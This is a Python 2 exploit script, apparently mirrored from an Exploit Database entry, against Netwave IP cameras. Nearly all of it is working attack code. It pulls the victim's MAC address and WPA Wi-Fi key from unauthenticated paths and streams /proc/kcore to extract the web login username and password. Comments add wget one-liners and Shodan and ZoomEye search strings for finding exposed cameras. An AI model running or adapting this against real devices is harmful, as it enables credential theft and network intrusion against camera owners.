Netwave IP Camera – Password Disclosure

Exploit Database
113 阅读

作者： spiritnull

日期： 2017-02-03
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/41236/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

#!/usr/bin/python2.7

## spiritnull(at)sigaint.org

## Run the exploit against the victim to get WIFI password

## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin

## magic for you bash:

## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings

## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat

## wget -qO- http://[HOST]:[PORT]//dev/rom0

## wget -qO- http://[HOST]:[PORT]/get_status.cgi

## shodan dork:

## "Server: Netwave IP Camera"

## zoomeye dork:

## Netwave IP camera http config

import sys,os,time,tailer

import urllib2

import subprocess

import signal

from threading import Thread

try:

if sys.argv[1] == "-h" or sys.argv[1] == "--help":

print "Usage: python pownetwave.py [HOST]:[PORT]"

print "Example: python pownetwave.py 127.0.0.1:81"

sys.exit(0)

else:

pass

except IndexError:

print "Usage: python pownetwave.py [HOST]:[PORT]"

print "Example: python pownetwave.py 127.0.0.1:81"

sys.exit(0)

def signal_handler(signal, frame):

print('\nclearing up..')

os.system("rm -rf tmpstream.txt")

os.system("rm -rf tmpstrings.out")

os.system("killall -9 wget")

os.system("killall -9 tail")

sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

macaddr = ""

done = 0

linecount = 0

class bcolors:

HEADER = '\033[95m'

OKBLUE = '\033[94m'

OKGREEN = '\033[92m'

WARNING = '\033[93m'

FAIL = '\033[91m'

ENDC = '\033[0m'

BOLD = '\033[1m'

UNDERLINE = '\033[4m'

print "getting system information.."+sys.argv[1]

response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi')

xcontent = response.read().split(";\n")

for line in xcontent:

if line.startswith("var id="):

line = line.split("'")

macaddr = line[1]

else:

pass

print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC

print "getting wireless information.."

try:

resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat")

xcontent = resp.read().split("\n")

print "victims wireless information.."

for line in xcontent:

if line.startswith("WPAPSK") or line.startswith("SSID"):

print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC

else:

print "\t\t"+str(line)

except:

print "wireless lan is disabled.."

print "checking for memory dump vulnerability.."

try:

urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore')

except:

print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC

sys.exit(0)

print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC

proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid)

os.system('echo "" >tmpstrings.out')

time.sleep(1)

proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid)

print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC

while 1:

sys.stdout.flush()

if os.stat('tmpstrings.out').st_size <= 1024:

sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r")

else:

sys.stdout.flush()

print "strings in binary data found.. password should be around line 10000"

for line in tailer.follow(open('tmpstrings.out','r')):

sys.stdout.flush()

if done == 0:

linecount+= 1

if line == macaddr:

sys.stdout.flush()

done = 1

print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC

else:

sys.stdout.write(str(linecount)+"\r")

elif done == 1:

done = 2

print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC

elif done == 2:

done = 3

print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC

elif done == 3:

done = 4

print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC

elif done == 4:

done = 0

print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC

else:

pass

signal.pause()